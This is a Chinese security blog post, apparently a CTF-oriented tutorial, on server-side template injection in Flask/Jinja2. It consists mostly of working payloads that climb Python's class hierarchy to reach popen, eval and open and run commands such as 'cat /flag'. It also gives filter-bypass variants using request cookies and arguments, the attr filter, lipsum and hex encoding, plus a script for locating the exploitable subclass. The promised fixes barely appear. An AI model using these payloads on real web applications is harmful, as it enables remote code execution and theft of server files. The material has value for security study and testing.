探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧

admin 2025年3月17日09:44:09评论28 views字数 4173阅读13分54秒阅读模式

0x01 前言

模板注入(SSTI)是Web安全中常被忽视的高危漏洞,常见于Flask、ThinkPHP、Spring等基于MVC架构的框架。当用户输入未经验证直接传入模板引擎时,攻击者可通过构造恶意参数在服务器端注入代码,绕过业务逻辑直接操控模板渲染流程,导致敏感数据泄露甚至系统权限沦陷。本文从漏洞原理出发,结合主流框架特性,剖析SSTI的触发场景、利用手法及修复方案,帮助开发者构建更安全的模板渲染机制。

探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧

现在只对常读和星标的公众号才展示大图推送,建议大家把渗透安全HackTwo设为星标”,否则可能就看不到了啦!

末尾可领取挖洞资料文件

0x03 SSTI漏洞和绕过技巧

基础格式

{{().__class__.__bases__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

一般 s 输入 {{2*2}} 来测试是否存在注入 一般函数语句用。进行连接

函数

__class__ //返回调用的参数类型__bases__ //返回类型列表__base__ //以字符串的形式返回一个类所继承的类__mro__ //此属性是在方法解析期间寻找基类时考虑的类元组__subclasses__ //获取类的所有子类__globals__ //会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用与 func_globals 等价__import__  //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/procselffd/3').read()request.args.x1      get传参request.values.x1    所有参数request.cookies      cookies参数request.headers      请求头参数request.form.x1      post传参  (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)request.data      post传参 (Content-Type:a/b)request.json        post传json  (Content-Type: application/json)config

其他

{%%}可以用来声明变量,当然也可以用于循环语句和条件语句。{{}}用于将表达式打印到模板输出{##}表示未包含在模板输出中的注释##可以有和{%%}相同的效果
{% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__=='_wrap_close' %}{% print i.__init__.__globals__['popen']('cat /flag').read() %}{% endif %}{% endfor %}
{{().__class__.__bases__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

详细构造步骤

第一步

使用class来获取内置类所对应的类

探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧
可以砍看见这里输出了 () 的类型,这个 () 是必须的,当然也可以切换为
() [] {} '' ""
到这里最后的构造为
{{().__class__}}

第二步

拿到 object 基类 这里可以用四种方式拿到基类

__bases__[0]__base____mro__[1]__mro__[-1]
到这里最后的构造为
{{().__class__.__base__}}
探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧

第三步

subclasses() 拿到子类列表 最后构造为

{{().__class__.__base__.__subclasses__()}}
探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧

第四步

在子类列表中找到可以 getshell 的类 这里因为子类过多就需要用脚本进行查找 贴手大佬的脚本

import jsona = """<class 'type'>,...,<class 'subprocess.Popen'>"""num = 0allList = []result = ""for i in a:    if i == ">":        result += i        allList.append(result)        result = ""    elif i == "n" or i == ",":        continue    else:        result += ifor k, v in enumerate(allList):    if "os._wrap_close" in v:        print(str(k) + "--->" + v)
把所有的子类给 a 运行脚本即可
探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧
最后构造为
{{().__class__.__base__.__subclasses__()[132]}}

第五步

os._wrap_close 类中的 popen os._wrap_close 为上面脚本查找的 最后的.read () 几乎不会改变

{{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
这里用命令建文件我们是直接访问不到的 比如我建一个 txt 文件不能直接访问,还会报错 但这个文件是建成功了的,可以使用 ls 查看一下此文件是否存在 要打开这个文件只有使用命令才能打开

builtins代码执行

builtin中有众多的可用函数,包括了 eval

探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧
于是我们就可以构建:
{{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

绕过:

过滤了单双引号

可以用 request 传参来绕过

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}
这里的 a b c 分别对应 [request.args.a]

request.args.b 也可以考虑字符串拼接,这里用 config 拿到字符串

?name={{url_for.__globals__[(config.__str__()[2])%2B(config.__str__()[42])]}}
相当于
?name={{url_for.__globals__['os']}}
还可以不使用系统命令,还可以利用 open 函数直接打开读取文件的:
?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag

过滤 args

用 request.cookies.x1 代替 request.args.x1

get:?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}cookie:;x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

过滤 []

小括号也是可以滴

get:?name={{url_for.__globals__.os.popen(request.cookies.c).read()}}cookie:;c=cat /flag过滤_

过滤_

下划线_被过滤,那么要用 request.cookies.x1 来传参

get:?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}cookie:;x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /f*').read()

还有这样的写法:因为 lipsum.globals中含有 os 模块

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}传参:a=__globals__;b=cat /f*
falsk 自带的过滤器 attr
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}Cookie:a=__globals__;b=cat /flag

编码绕过 _是 x5f,. 是 x2E

比如:.__class__. => x2Ex5fx5fclassx5fx5fx2E

0x04 总结

  最后总结,通过未过滤的用户输入注入恶意模板代码,利用__class__、__subclasses__等魔术方法遍历类继承链,最终调用危险函数(如popen)执行系统命令或读取敏感文件(如/flag)。绕过过滤时可通过request参数传递、编码(如x5f替代_)、attr过滤器或__builtins__模块动态加载模块。喜欢的师傅可以点赞转发支持一下谢谢!

0x05

原文始发于微信公众号(渗透安全HackTwo):探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月17日09:44:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   探索SSTI漏洞:模板注入原理与绕过方法|挖洞技巧https://cn-sec.com/archives/3847695.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息